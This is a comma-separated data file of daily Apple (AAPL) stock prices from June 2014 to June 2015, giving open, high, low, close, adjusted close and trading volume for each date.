-2014-06-12,94.04000091552734,94.12000274658203,91.9000015258789,92.29000091552734,84.01364135742188,54749000.0,AAPL
-2014-06-13,92.19999694824219,92.44000244140625,90.87999725341797,91.27999877929688,83.09422302246094,54525000.0,AAPL
-2014-06-16,91.51000213623047,92.75,91.44999694824219,92.19999694824219,83.93171691894531,35561000.0,AAPL
-2014-06-17,92.30999755859375,92.69999694824219,91.80000305175781,92.08000183105469,83.8224868774414,29726000.0,AAPL
-2014-06-18,92.2699966430664,92.29000091552734,91.3499984741211,92.18000030517578,83.91351318359375,33514000.0,AAPL
-2014-06-19,92.29000091552734,92.30000305175781,91.33999633789062,91.86000061035156,83.6222152709961,35528000.0,AAPL
-2014-06-20,91.8499984741211,92.55000305175781,90.9000015258789,90.91000366210938,82.7574234008789,100898000.0,AAPL
-2014-06-23,91.31999969482422,91.62000274658203,90.5999984741211,90.83000183105469,82.68458557128906,43694000.0,AAPL
-2014-06-24,90.75,91.73999786376953,90.19000244140625,90.27999877929688,82.18391418457031,39036000.0,AAPL
-2014-06-25,90.20999908447266,90.69999694824219,89.6500015258789,90.36000061035156,82.25672912597656,36869000.0,AAPL
-2014-06-26,90.37000274658203,91.05000305175781,89.80000305175781,90.9000015258789,82.74829864501953,32629000.0,AAPL
-2014-06-27,90.81999969482422,92.0,90.7699966430664,91.9800033569336,83.73146057128906,64029000.0,AAPL
-2014-06-30,92.0999984741211,93.7300033569336,92.08999633789062,92.93000030517578,84.59626007080078,49482300.0,AAPL
-2014-07-01,93.5199966430664,94.06999969482422,93.12999725341797,93.5199966430664,85.13333892822266,38223000.0,AAPL
-2014-07-02,93.87000274658203,94.05999755859375,93.08999633789062,93.4800033569336,85.09693908691406,28465000.0,AAPL
-2014-07-03,93.66999816894531,94.0999984741211,93.19999694824219,94.02999877929688,85.59759521484375,22891800.0,AAPL
-2014-07-07,94.13999938964844,95.98999786376953,94.0999984741211,95.97000122070312,87.36363983154297,56468000.0,AAPL
-2014-07-08,96.2699966430664,96.80000305175781,93.91999816894531,95.3499984741211,86.79923248291016,65222000.0,AAPL
-2014-07-09,95.44000244140625,95.94999694824219,94.76000213623047,95.38999938964844,86.83563995361328,36436000.0,AAPL
-2014-07-10,93.76000213623047,95.55000305175781,93.5199966430664,95.04000091552734,86.51704406738281,39686000.0,AAPL
-2014-07-11,95.36000061035156,95.88999938964844,94.86000061035156,95.22000122070312,86.68089294433594,34018000.0,AAPL
-2014-07-14,95.86000061035156,96.88999938964844,95.6500015258789,96.44999694824219,87.80058288574219,42810000.0,AAPL
-2014-07-15,96.80000305175781,96.8499984741211,95.02999877929688,95.31999969482422,86.77192687988281,45477900.0,AAPL
-2014-07-16,96.97000122070312,97.0999984741211,94.73999786376953,94.77999877929688,86.28035736083984,53396300.0,AAPL
-2014-07-17,95.02999877929688,95.27999877929688,92.56999969482422,93.08999633789062,84.74190521240234,57298000.0,AAPL
-2014-07-18,93.62000274658203,94.73999786376953,93.0199966430664,94.43000030517578,85.96173858642578,49988000.0,AAPL
-2014-07-21,94.98999786376953,95.0,93.72000122070312,93.94000244140625,85.51570129394531,39079000.0,AAPL
-2014-07-22,94.68000030517578,94.88999938964844,94.12000274658203,94.72000122070312,86.2257308959961,55197000.0,AAPL
-2014-07-23,95.41999816894531,97.87999725341797,95.16999816894531,97.19000244140625,88.4742431640625,92918000.0,AAPL
-2014-07-24,97.04000091552734,97.31999969482422,96.41999816894531,97.02999877929688,88.32858276367188,45729000.0,AAPL
-2014-07-25,96.8499984741211,97.83999633789062,96.63999938964844,97.66999816894531,88.91117858886719,43469000.0,AAPL
-2014-07-28,97.81999969482422,99.23999786376953,97.55000305175781,99.0199966430664,90.14010620117188,55318000.0,AAPL
-2014-07-29,99.33000183105469,99.44000244140625,98.25,98.37999725341797,89.55750274658203,43143000.0,AAPL
-2014-07-30,98.44000244140625,98.69999694824219,97.66999816894531,98.1500015258789,89.34814453125,33010000.0,AAPL
-2014-07-31,97.16000366210938,97.44999694824219,95.33000183105469,95.5999984741211,87.02682495117188,56843000.0,AAPL
-2014-08-01,94.9000015258789,96.62000274658203,94.80999755859375,96.12999725341797,87.50927734375,48511000.0,AAPL
-2014-08-04,96.37000274658203,96.58000183105469,95.16999816894531,95.58999633789062,87.01771545410156,39958000.0,AAPL
-2014-08-05,95.36000061035156,95.68000030517578,94.36000061035156,95.12000274658203,86.5898666381836,55933000.0,AAPL
-2014-08-06,94.75,95.4800033569336,94.70999908447266,94.95999908447266,86.4442138671875,38558000.0,AAPL
-2014-08-07,94.93000030517578,95.94999694824219,94.0999984741211,94.4800033569336,86.43505096435547,46711000.0,AAPL
-2014-08-08,94.26000213623047,94.81999969482422,93.27999877929688,94.73999786376953,86.67291259765625,41865000.0,AAPL
-2014-08-11,95.2699966430664,96.08000183105469,94.83999633789062,95.98999786376953,87.81649017333984,36585000.0,AAPL
-2014-08-12,96.04000091552734,96.87999725341797,95.61000061035156,95.97000122070312,87.7981948852539,33795000.0,AAPL
-2014-08-13,96.1500015258789,97.23999786376953,96.04000091552734,97.23999786376953,88.96004486083984,31916000.0,AAPL
-2014-08-14,97.33000183105469,97.56999969482422,96.80000305175781,97.5,89.1978988647461,28116000.0,AAPL
-2014-08-15,97.9000015258789,98.19000244140625,96.86000061035156,97.9800033569336,89.63704681396484,48951000.0,AAPL
-2014-08-18,98.48999786376953,99.37000274658203,97.9800033569336,99.16000366210938,90.71658325195312,47572000.0,AAPL
-2014-08-19,99.41000366210938,100.68000030517578,99.31999969482422,100.52999877929688,91.96990966796875,69399000.0,AAPL
-2014-08-20,100.44000244140625,101.08999633789062,99.94999694824219,100.56999969482422,92.00651550292969,52699000.0,AAPL
-2014-08-21,100.56999969482422,100.94000244140625,100.11000061035156,100.58000183105469,92.01565551757812,33478000.0,AAPL
-2014-08-22,100.29000091552734,101.47000122070312,100.19000244140625,101.31999969482422,92.69264221191406,44184000.0,AAPL
-2014-08-25,101.79000091552734,102.16999816894531,101.27999877929688,101.54000091552734,92.8939208984375,40270000.0,AAPL
-2014-08-26,101.41999816894531,101.5,100.86000061035156,100.88999938964844,92.29925537109375,33152000.0,AAPL
-2014-08-27,101.0199966430664,102.56999969482422,100.69999694824219,102.12999725341797,93.43367004394531,52369000.0,AAPL
-2014-08-28,101.58999633789062,102.77999877929688,101.55999755859375,102.25,93.54346466064453,68460000.0,AAPL
-2014-08-29,102.86000061035156,102.9000015258789,102.19999694824219,102.5,93.77214050292969,44595000.0,AAPL
-2014-09-02,103.05999755859375,103.73999786376953,102.72000122070312,103.30000305175781,94.5040512084961,53564000.0,AAPL
-2014-09-03,103.0999984741211,103.19999694824219,98.58000183105469,98.94000244140625,90.51530456542969,125421000.0,AAPL
-2014-09-04,98.8499984741211,100.08999633789062,97.79000091552734,98.12000274658203,89.76510620117188,85718000.0,AAPL
-2014-09-05,98.80000305175781,99.38999938964844,98.30999755859375,98.97000122070312,90.5427474975586,58457000.0,AAPL
-2014-09-08,99.30000305175781,99.30999755859375,98.05000305175781,98.36000061035156,89.98469543457031,46356700.0,AAPL
-2014-09-09,99.08000183105469,103.08000183105469,96.13999938964844,97.98999786376953,89.64617919921875,189846300.0,AAPL
-2014-09-10,98.01000213623047,101.11000061035156,97.76000213623047,101.0,92.3998794555664,100869600.0,AAPL
-2014-09-11,100.41000366210938,101.44000244140625,99.62000274658203,101.43000030517578,92.79326629638672,62353100.0,AAPL
-2014-09-12,101.20999908447266,102.19000244140625,101.08000183105469,101.66000366210938,93.00370025634766,62626100.0,AAPL
-2014-09-15,102.80999755859375,103.05000305175781,101.44000244140625,101.62999725341797,92.97624206542969,61316500.0,AAPL
-2014-09-16,99.80000305175781,101.26000213623047,98.88999938964844,100.86000061035156,92.27180480957031,66908100.0,AAPL
-2014-09-17,101.2699966430664,101.80000305175781,100.58999633789062,101.58000183105469,92.93048858642578,60926500.0,AAPL
-2014-09-18,101.93000030517578,102.3499984741211,101.55999755859375,101.79000091552734,93.12261962890625,37299400.0,AAPL
-2014-09-19,102.29000091552734,102.3499984741211,100.5,100.95999908447266,92.36329650878906,70902400.0,AAPL
-2014-09-22,101.80000305175781,102.13999938964844,100.58000183105469,101.05999755859375,92.45475769042969,52788400.0,AAPL
-2014-09-23,100.5999984741211,102.94000244140625,100.54000091552734,102.63999938964844,93.90025329589844,63402200.0,AAPL
-2014-09-24,102.16000366210938,102.8499984741211,101.19999694824219,101.75,93.08602905273438,60171800.0,AAPL
-2014-09-25,100.51000213623047,100.70999908447266,97.72000122070312,97.87000274658203,89.53641510009766,100092000.0,AAPL
-2014-09-26,98.52999877929688,100.75,98.4000015258789,100.75,92.17118835449219,62370500.0,AAPL
-2014-09-29,98.6500015258789,100.44000244140625,98.62999725341797,100.11000061035156,91.58566284179688,49766300.0,AAPL
-2014-09-30,100.80999755859375,101.54000091552734,100.52999877929688,100.75,92.17118835449219,55264100.0,AAPL
-2014-10-01,100.58999633789062,100.69000244140625,98.69999694824219,99.18000030517578,90.73487091064453,51491300.0,AAPL
-2014-10-02,99.2699966430664,100.22000122070312,98.04000091552734,99.9000015258789,91.3935546875,47757800.0,AAPL
-2014-10-03,99.44000244140625,100.20999908447266,99.04000091552734,99.62000274658203,91.13739013671875,43469600.0,AAPL
-2014-10-06,99.94999694824219,100.6500015258789,99.41999816894531,99.62000274658203,91.13739013671875,37051200.0,AAPL
-2014-10-07,99.43000030517578,100.12000274658203,98.7300033569336,98.75,90.34147644042969,42094200.0,AAPL
-2014-10-08,98.76000213623047,101.11000061035156,98.30999755859375,100.80000305175781,92.2169189453125,57404700.0,AAPL
-2014-10-09,101.54000091552734,102.37999725341797,100.61000061035156,101.0199966430664,92.41816711425781,77376500.0,AAPL
-2014-10-10,100.69000244140625,102.02999877929688,100.30000305175781,100.7300033569336,92.15287017822266,66331600.0,AAPL
-2014-10-13,101.33000183105469,101.77999877929688,99.80999755859375,99.80999755859375,91.31121826171875,53583400.0,AAPL
-2014-10-14,100.38999938964844,100.5199966430664,98.56999969482422,98.75,90.34147644042969,63688600.0,AAPL
-2014-10-15,97.97000122070312,99.1500015258789,95.18000030517578,97.54000091552734,89.2344970703125,100933600.0,AAPL
-2014-10-16,95.55000305175781,97.72000122070312,95.41000366210938,96.26000213623047,88.06349182128906,72154500.0,AAPL
-2014-10-17,97.5,99.0,96.80999755859375,97.66999816894531,89.35343933105469,68179700.0,AAPL
-2014-10-20,98.31999969482422,99.95999908447266,98.22000122070312,99.76000213623047,91.26547241210938,77517300.0,AAPL
-2014-10-21,103.0199966430664,103.0199966430664,101.2699966430664,102.47000122070312,93.74470520019531,94623900.0,AAPL
-2014-10-22,102.83999633789062,104.11000061035156,102.5999984741211,102.98999786376953,94.22042846679688,68263100.0,AAPL
-2014-10-23,104.08000183105469,105.05000305175781,103.62999725341797,104.83000183105469,95.90376281738281,71074700.0,AAPL
-2014-10-24,105.18000030517578,105.48999786376953,104.52999877929688,105.22000122070312,96.26055145263672,47053900.0,AAPL
-2014-10-27,104.8499984741211,105.4800033569336,104.69999694824219,105.11000061035156,96.15990447998047,34187700.0,AAPL
-2014-10-28,105.4000015258789,106.73999786376953,105.3499984741211,106.73999786376953,97.65110778808594,48060900.0,AAPL
-2014-10-29,106.6500015258789,107.37000274658203,106.36000061035156,107.33999633789062,98.20003509521484,52687900.0,AAPL
-2014-10-30,106.95999908447266,107.3499984741211,105.9000015258789,106.9800033569336,97.87068939208984,40654800.0,AAPL
-2014-10-31,108.01000213623047,108.04000091552734,107.20999908447266,108.0,98.8038330078125,44639300.0,AAPL
-2014-11-03,108.22000122070312,110.30000305175781,108.01000213623047,109.4000015258789,100.08462524414062,52282600.0,AAPL
-2014-11-04,109.36000061035156,109.48999786376953,107.72000122070312,108.5999984741211,99.3527603149414,41574400.0,AAPL
-2014-11-05,109.0999984741211,109.30000305175781,108.12999725341797,108.86000061035156,99.59062957763672,37435900.0,AAPL
-2014-11-06,108.5999984741211,108.79000091552734,107.80000305175781,108.69999694824219,99.87542724609375,34968500.0,AAPL
-2014-11-07,108.75,109.31999969482422,108.55000305175781,109.01000213623047,100.16029357910156,33691500.0,AAPL
-2014-11-10,109.0199966430664,109.33000183105469,108.66999816894531,108.83000183105469,99.99488830566406,27195500.0,AAPL
-2014-11-11,108.69999694824219,109.75,108.4000015258789,109.69999694824219,100.79425048828125,27442300.0,AAPL
-2014-11-12,109.37999725341797,111.43000030517578,109.37000274658203,111.25,102.21842956542969,46942400.0,AAPL
-2014-11-13,111.80000305175781,113.44999694824219,111.5999984741211,112.81999969482422,103.66095733642578,59522900.0,AAPL
-2014-11-14,113.1500015258789,114.19000244140625,111.20999908447266,114.18000030517578,104.91056060791016,44063600.0,AAPL
-2014-11-17,114.2699966430664,117.27999877929688,113.30000305175781,113.98999786376953,104.73599243164062,46746700.0,AAPL
-2014-11-18,113.94000244140625,115.69000244140625,113.88999938964844,115.47000122070312,106.09584045410156,44224000.0,AAPL
-2014-11-19,115.44000244140625,115.73999786376953,113.80000305175781,114.66999816894531,105.36078643798828,41869200.0,AAPL
-2014-11-20,114.91000366210938,116.86000061035156,114.8499984741211,116.30999755859375,106.86763000488281,43395500.0,AAPL
-2014-11-21,117.51000213623047,117.56999969482422,116.02999877929688,116.47000122070312,107.01466369628906,57179300.0,AAPL
-2014-11-24,116.8499984741211,118.7699966430664,116.62000274658203,118.62999725341797,108.99929809570312,47450800.0,AAPL
-2014-11-25,119.06999969482422,119.75,117.44999694824219,117.5999984741211,108.05290985107422,68840400.0,AAPL
-2014-11-26,117.94000244140625,119.0999984741211,117.83000183105469,119.0,109.33924865722656,40768300.0,AAPL
-2014-11-28,119.2699966430664,119.4000015258789,118.05000305175781,118.93000030517578,109.27494812011719,24814400.0,AAPL
-2014-12-01,118.80999755859375,119.25,111.2699966430664,115.06999969482422,105.72831726074219,83814000.0,AAPL
-2014-12-02,113.5,115.75,112.75,114.62999725341797,105.32402038574219,59348900.0,AAPL
-2014-12-03,115.75,116.3499984741211,115.11000061035156,115.93000030517578,106.51849365234375,43063400.0,AAPL
-2014-12-04,115.7699966430664,117.19999694824219,115.29000091552734,115.48999786376953,106.11420440673828,42044500.0,AAPL
-2014-12-05,115.98999786376953,116.08000183105469,114.63999938964844,115.0,105.66398620605469,38318900.0,AAPL
-2014-12-08,114.0999984741211,114.6500015258789,111.62000274658203,112.4000015258789,103.27506256103516,57664900.0,AAPL
-2014-12-09,110.19000244140625,114.30000305175781,109.3499984741211,114.12000274658203,104.85543060302734,60208000.0,AAPL
-2014-12-10,114.41000366210938,114.8499984741211,111.54000091552734,111.94999694824219,102.86161041259766,44565300.0,AAPL
-2014-12-11,112.26000213623047,113.80000305175781,111.33999633789062,111.62000274658203,102.55839538574219,41401700.0,AAPL
-2014-12-12,110.45999908447266,111.87000274658203,109.58000183105469,109.7300033569336,100.82183074951172,56028100.0,AAPL
-2014-12-15,110.69999694824219,111.5999984741211,106.3499984741211,108.2300033569336,99.44361877441406,67218100.0,AAPL
-2014-12-16,106.37000274658203,110.16000366210938,106.26000213623047,106.75,98.083740234375,60790700.0,AAPL
-2014-12-17,107.12000274658203,109.83999633789062,106.81999969482422,109.41000366210938,100.5278091430664,53411800.0,AAPL
-2014-12-18,111.87000274658203,112.6500015258789,110.66000366210938,112.6500015258789,103.5047607421875,59006200.0,AAPL
-2014-12-19,112.26000213623047,113.23999786376953,111.66000366210938,111.77999877929688,102.70539093017578,88429800.0,AAPL
-2014-12-22,112.16000366210938,113.48999786376953,111.97000122070312,112.94000244140625,103.77122497558594,45167500.0,AAPL
-2014-12-23,113.2300033569336,113.33000183105469,112.45999908447266,112.54000091552734,103.4037094116211,26028400.0,AAPL
-2014-12-24,112.58000183105469,112.70999908447266,112.01000213623047,112.01000213623047,102.9167251586914,14479600.0,AAPL
-2014-12-26,112.0999984741211,114.5199966430664,112.01000213623047,113.98999786376953,104.73599243164062,33721000.0,AAPL
-2014-12-29,113.79000091552734,114.7699966430664,113.69999694824219,113.91000366210938,104.66250610351562,27598900.0,AAPL
-2014-12-30,113.63999938964844,113.91999816894531,112.11000061035156,112.5199966430664,103.38531494140625,29881500.0,AAPL
-2014-12-31,112.81999969482422,113.12999725341797,110.20999908447266,110.37999725341797,101.41905975341797,41403400.0,AAPL
-2015-01-02,111.38999938964844,111.44000244140625,107.3499984741211,109.33000183105469,100.45429992675781,53204600.0,AAPL
-2015-01-05,108.29000091552734,108.6500015258789,105.41000366210938,106.25,97.62433624267578,64285500.0,AAPL
-2015-01-06,106.54000091552734,107.43000030517578,104.62999725341797,106.26000213623047,97.633544921875,65797100.0,AAPL
-2015-01-07,107.19999694824219,108.19999694824219,106.69999694824219,107.75,99.00255584716797,40105900.0,AAPL
-2015-01-08,109.2300033569336,112.1500015258789,108.69999694824219,111.88999938964844,102.80648040771484,59364500.0,AAPL
-2015-01-09,112.66999816894531,113.25,110.20999908447266,112.01000213623047,102.9167251586914,53699500.0,AAPL
-2015-01-12,112.5999984741211,112.62999725341797,108.80000305175781,109.25,100.38079071044922,49650800.0,AAPL
-2015-01-13,111.43000030517578,112.80000305175781,108.91000366210938,110.22000122070312,101.27204895019531,67091900.0,AAPL
-2015-01-14,109.04000091552734,110.48999786376953,108.5,109.80000305175781,100.88615417480469,48956600.0,AAPL
-2015-01-15,110.0,110.05999755859375,106.66000366210938,106.81999969482422,98.14805603027344,60014000.0,AAPL
-2015-01-16,107.02999877929688,107.58000183105469,105.19999694824219,105.98999786376953,97.38544464111328,78513300.0,AAPL
-2015-01-20,107.83999633789062,108.97000122070312,106.5,108.72000122070312,99.8938217163086,49899900.0,AAPL
-2015-01-21,108.94999694824219,111.05999755859375,108.2699966430664,109.55000305175781,100.65644073486328,48575900.0,AAPL
-2015-01-22,110.26000213623047,112.47000122070312,109.72000122070312,112.4000015258789,103.27506256103516,53796400.0,AAPL
-2015-01-23,112.30000305175781,113.75,111.52999877929688,112.9800033569336,103.80799102783203,46464800.0,AAPL
-2015-01-26,113.73999786376953,114.36000061035156,112.80000305175781,113.0999984741211,103.91822814941406,55615000.0,AAPL
-2015-01-27,112.41999816894531,112.4800033569336,109.02999877929688,109.13999938964844,100.27971649169922,95568700.0,AAPL
-2015-01-28,117.62999725341797,118.12000274658203,115.30999755859375,115.30999755859375,105.94882202148438,146477100.0,AAPL
-2015-01-29,116.31999969482422,119.19000244140625,115.55999755859375,118.9000015258789,109.24739074707031,84436400.0,AAPL
-2015-01-30,118.4000015258789,120.0,116.8499984741211,117.16000366210938,107.64864349365234,83745500.0,AAPL
-2015-02-02,118.05000305175781,119.16999816894531,116.08000183105469,118.62999725341797,108.99929809570312,62739100.0,AAPL
-2015-02-03,118.5,119.08999633789062,117.61000061035156,118.6500015258789,109.01765441894531,51915700.0,AAPL
-2015-02-04,118.5,120.51000213623047,118.30999755859375,119.55999755859375,109.85380554199219,70149700.0,AAPL
-2015-02-05,120.0199966430664,120.2300033569336,119.25,119.94000244140625,110.63788604736328,42246200.0,AAPL
-2015-02-06,120.0199966430664,120.25,118.44999694824219,118.93000030517578,109.7061996459961,43706600.0,AAPL
-2015-02-09,118.55000305175781,119.83999633789062,118.43000030517578,119.72000122070312,110.43494415283203,38889800.0,AAPL
-2015-02-10,120.16999816894531,122.1500015258789,120.16000366210938,122.0199966430664,112.55655670166016,62008500.0,AAPL
-2015-02-11,122.7699966430664,124.91999816894531,122.5,124.87999725341797,115.19474792480469,73561800.0,AAPL
-2015-02-12,126.05999755859375,127.4800033569336,125.56999969482422,126.45999908447266,116.6521987915039,74474500.0,AAPL
-2015-02-13,127.27999877929688,127.27999877929688,125.6500015258789,127.08000183105469,117.22412109375,54272200.0,AAPL
-2015-02-17,127.48999786376953,128.8800048828125,126.91999816894531,127.83000183105469,117.91596221923828,63152400.0,AAPL
-2015-02-18,127.62999725341797,128.77999877929688,127.44999694824219,128.72000122070312,118.73694610595703,44891700.0,AAPL
-2015-02-19,128.47999572753906,129.02999877929688,128.3300018310547,128.4499969482422,118.48786926269531,37362400.0,AAPL
-2015-02-20,128.6199951171875,129.5,128.0500030517578,129.5,119.4564437866211,48948400.0,AAPL
-2015-02-23,130.02000427246094,133.0,129.66000366210938,133.0,122.68497467041016,70974100.0,AAPL
-2015-02-24,132.94000244140625,133.60000610351562,131.1699981689453,132.1699981689453,121.91935729980469,69228100.0,AAPL
-2015-02-25,131.55999755859375,131.60000610351562,128.14999389648438,128.7899932861328,118.8014907836914,74711700.0,AAPL
-2015-02-26,128.7899932861328,130.8699951171875,126.61000061035156,130.4199981689453,120.30508422851562,91287500.0,AAPL
-2015-02-27,130.0,130.57000732421875,128.24000549316406,128.4600067138672,118.49711608886719,62014800.0,AAPL
-2015-03-02,129.25,130.27999877929688,128.3000030517578,129.08999633789062,119.07823944091797,48096700.0,AAPL
-2015-03-03,128.9600067138672,129.52000427246094,128.08999633789062,129.36000061035156,119.3272933959961,37816300.0,AAPL
-2015-03-04,129.10000610351562,129.55999755859375,128.32000732421875,128.5399932861328,118.57088470458984,31666300.0,AAPL
-2015-03-05,128.5800018310547,128.75,125.76000213623047,126.41000366210938,116.60609436035156,56517100.0,AAPL
-2015-03-06,128.39999389648438,129.3699951171875,126.26000213623047,126.5999984741211,116.7813491821289,72842100.0,AAPL
-2015-03-09,127.95999908447266,129.57000732421875,125.05999755859375,127.13999938964844,117.27945709228516,88528500.0,AAPL
-2015-03-10,126.41000366210938,127.22000122070312,123.80000305175781,124.51000213623047,114.85343170166016,68856600.0,AAPL
-2015-03-11,124.75,124.7699966430664,122.11000061035156,122.23999786376953,112.75951385498047,68939000.0,AAPL
-2015-03-12,122.30999755859375,124.9000015258789,121.62999725341797,124.44999694824219,114.79810333251953,48362700.0,AAPL
-2015-03-13,124.4000015258789,125.4000015258789,122.58000183105469,123.58999633789062,114.00479125976562,51827300.0,AAPL
-2015-03-16,123.87999725341797,124.94999694824219,122.87000274658203,124.94999694824219,115.25931549072266,35874300.0,AAPL
-2015-03-17,125.9000015258789,127.31999969482422,125.6500015258789,127.04000091552734,117.1872329711914,51023100.0,AAPL
-2015-03-18,127.0,129.16000366210938,126.37000274658203,128.47000122070312,118.50630950927734,65270900.0,AAPL
-2015-03-19,128.75,129.25,127.4000015258789,127.5,117.61156463623047,45809500.0,AAPL
-2015-03-20,128.25,128.39999389648438,125.16000366210938,125.9000015258789,116.13565063476562,68695100.0,AAPL
-2015-03-23,127.12000274658203,127.8499984741211,126.5199966430664,127.20999908447266,117.34403228759766,37709700.0,AAPL
-2015-03-24,127.2300033569336,128.0399932861328,126.55999755859375,126.69000244140625,116.86436462402344,32842300.0,AAPL
-2015-03-25,126.54000091552734,126.81999969482422,123.37999725341797,123.37999725341797,113.81109619140625,51655200.0,AAPL
-2015-03-26,122.76000213623047,124.87999725341797,122.5999984741211,124.23999786376953,114.6043930053711,47572900.0,AAPL
-2015-03-27,124.56999969482422,124.69999694824219,122.91000366210938,123.25,113.69116973876953,39546200.0,AAPL
-2015-03-30,124.05000305175781,126.4000015258789,124.0,126.37000274658203,116.56920623779297,47099700.0,AAPL
-2015-03-31,126.08999633789062,126.48999786376953,124.36000061035156,124.43000030517578,114.77964782714844,42090600.0,AAPL
-2015-04-01,124.81999969482422,125.12000274658203,123.0999984741211,124.25,114.61360168457031,40621400.0,AAPL
-2015-04-02,125.02999877929688,125.55999755859375,124.19000244140625,125.31999969482422,115.60061645507812,32220100.0,AAPL
-2015-04-06,124.47000122070312,127.51000213623047,124.33000183105469,127.3499984741211,117.47319030761719,37194000.0,AAPL
-2015-04-07,127.63999938964844,128.1199951171875,125.9800033569336,126.01000213623047,116.23712158203125,35012300.0,AAPL
-2015-04-08,125.8499984741211,126.4000015258789,124.97000122070312,125.5999984741211,115.8589096069336,37329200.0,AAPL
-2015-04-09,125.8499984741211,126.58000183105469,124.66000366210938,126.55999755859375,116.74444580078125,32484000.0,AAPL
-2015-04-10,125.94999694824219,127.20999908447266,125.26000213623047,127.0999984741211,117.24259185791016,40188000.0,AAPL
-2015-04-13,128.3699951171875,128.57000732421875,126.61000061035156,126.8499984741211,117.01194763183594,36365100.0,AAPL
-2015-04-14,127.0,127.29000091552734,125.91000366210938,126.30000305175781,116.50462341308594,25524600.0,AAPL
-2015-04-15,126.41000366210938,127.12999725341797,126.01000213623047,126.77999877929688,116.94738006591797,28970400.0,AAPL
-2015-04-16,126.27999877929688,127.0999984741211,126.11000061035156,126.16999816894531,116.38470458984375,28369000.0,AAPL
-2015-04-17,125.55000305175781,126.13999938964844,124.45999908447266,124.75,115.07482147216797,51957000.0,AAPL
-2015-04-20,125.56999969482422,128.1199951171875,125.16999816894531,127.5999984741211,117.70379638671875,47054300.0,AAPL
-2015-04-21,128.10000610351562,128.1999969482422,126.66999816894531,126.91000366210938,117.06732177734375,32435100.0,AAPL
-2015-04-22,126.98999786376953,128.8699951171875,126.31999969482422,128.6199951171875,118.64470672607422,37654500.0,AAPL
-2015-04-23,128.3000030517578,130.4199981689453,128.13999938964844,129.6699981689453,119.61326599121094,45770900.0,AAPL
-2015-04-24,130.49000549316406,130.6300048828125,129.22999572753906,130.27999877929688,120.17594909667969,44525900.0,AAPL
-2015-04-27,132.30999755859375,133.1300048828125,131.14999389648438,132.64999389648438,122.36209106445312,96954200.0,AAPL
-2015-04-28,134.4600067138672,134.5399932861328,129.57000732421875,130.55999755859375,120.43423461914062,118924000.0,AAPL
-2015-04-29,130.16000366210938,131.58999633789062,128.3000030517578,128.63999938964844,118.66314697265625,63386100.0,AAPL
-2015-04-30,128.63999938964844,128.63999938964844,124.58000183105469,125.1500015258789,115.44380950927734,83195400.0,AAPL
-2015-05-01,126.0999984741211,130.1300048828125,125.30000305175781,128.9499969482422,118.94908905029297,58512600.0,AAPL
-2015-05-04,129.5,130.57000732421875,128.25999450683594,128.6999969482422,118.71849060058594,50988300.0,AAPL
-2015-05-05,128.14999389648438,128.4499969482422,125.77999877929688,125.80000305175781,116.04339599609375,49271400.0,AAPL
-2015-05-06,126.55999755859375,126.75,123.36000061035156,125.01000213623047,115.3146743774414,72141000.0,AAPL
-2015-05-07,124.7699966430664,126.08000183105469,124.0199966430664,125.26000213623047,116.02790832519531,43940900.0,AAPL
-2015-05-08,126.68000030517578,127.62000274658203,126.11000061035156,127.62000274658203,118.21397399902344,55550400.0,AAPL
-2015-05-11,127.38999938964844,127.55999755859375,125.62999725341797,126.31999969482422,117.0097885131836,42035800.0,AAPL
-2015-05-12,125.5999984741211,126.87999725341797,124.81999969482422,125.87000274658203,116.59295654296875,48160000.0,AAPL
-2015-05-13,126.1500015258789,127.19000244140625,125.87000274658203,126.01000213623047,116.72265625,34694200.0,AAPL
-2015-05-14,127.41000366210938,128.9499969482422,127.16000366210938,128.9499969482422,119.4459457397461,45203500.0,AAPL
-2015-05-15,129.07000732421875,129.49000549316406,128.2100067138672,128.77000427246094,119.27921295166016,38208000.0,AAPL
-2015-05-18,128.3800048828125,130.72000122070312,128.36000061035156,130.19000244140625,120.59455108642578,50882900.0,AAPL
-2015-05-19,130.69000244140625,130.8800048828125,129.63999938964844,130.07000732421875,120.4833984375,44633200.0,AAPL
-2015-05-20,130.0,130.97999572753906,129.33999633789062,130.05999755859375,120.4741439819336,36454900.0,AAPL
-2015-05-21,130.07000732421875,131.6300048828125,129.8300018310547,131.38999938964844,121.70613861083984,39730400.0,AAPL
-2015-05-22,131.60000610351562,132.97000122070312,131.39999389648438,132.5399932861328,122.77136993408203,45596000.0,AAPL
-2015-05-26,132.60000610351562,132.91000366210938,129.1199951171875,129.6199951171875,120.0665512084961,70697600.0,AAPL
-2015-05-27,130.33999633789062,132.25999450683594,130.0500030517578,132.0399932861328,122.3082046508789,45833200.0,AAPL
-2015-05-28,131.86000061035156,131.9499969482422,131.10000610351562,131.77999877929688,122.06737518310547,30733300.0,AAPL
-2015-05-29,131.22999572753906,131.4499969482422,129.89999389648438,130.27999877929688,120.67793273925781,50884500.0,AAPL
-2015-06-01,130.27999877929688,131.38999938964844,130.0500030517578,130.5399932861328,120.91876220703125,32112800.0,AAPL
-2015-06-02,129.86000061035156,130.66000366210938,129.32000732421875,129.9600067138672,120.38152313232422,33667600.0,AAPL
-2015-06-03,130.66000366210938,130.94000244140625,129.89999389648438,130.1199951171875,120.52971649169922,30983500.0,AAPL
-2015-06-04,129.5800018310547,130.5800018310547,128.91000366210938,129.36000061035156,119.82573699951172,38450100.0,AAPL
-2015-06-05,129.5,129.69000244140625,128.36000061035156,128.64999389648438,119.16805267333984,35626800.0,AAPL
-2015-06-08,128.89999389648438,129.2100067138672,126.83000183105469,127.80000305175781,118.3807144165039,52674800.0,AAPL
-2015-06-09,126.69999694824219,128.0800018310547,125.62000274658203,127.41999816894531,118.02871704101562,56075400.0,AAPL
-2015-06-10,127.91999816894531,129.33999633789062,127.8499984741211,128.8800048828125,119.38111114501953,39087300.0,AAPL
-2015-06-11,129.17999267578125,130.17999267578125,128.47999572753906,128.58999633789062,119.11248779296875,35390900.0,AAPL
-2015-06-12,128.19000244140625,128.3300018310547,127.11000061035156,127.16999816894531,117.79714965820312,36886200.0,AAPL
-2015-06-15,126.0999984741211,127.23999786376953,125.70999908447266,126.91999816894531,117.5655746459961,43988900.0,AAPL
-2015-06-16,127.02999877929688,127.8499984741211,126.37000274658203,127.5999984741211,118.1954574584961,31494100.0,AAPL
-2015-06-17,127.72000122070312,127.87999725341797,126.73999786376953,127.30000305175781,117.91755676269531,32918100.0,AAPL
-2015-06-18,127.2300033569336,128.30999755859375,127.22000122070312,127.87999725341797,118.45480346679688,35407200.0,AAPL
-2015-06-19,127.70999908447266,127.81999969482422,126.4000015258789,126.5999984741211,117.26915740966797,54716900.0,AAPL
-2015-06-22,127.48999786376953,128.05999755859375,127.08000183105469,127.61000061035156,118.2047119140625,34039300.0,AAPL
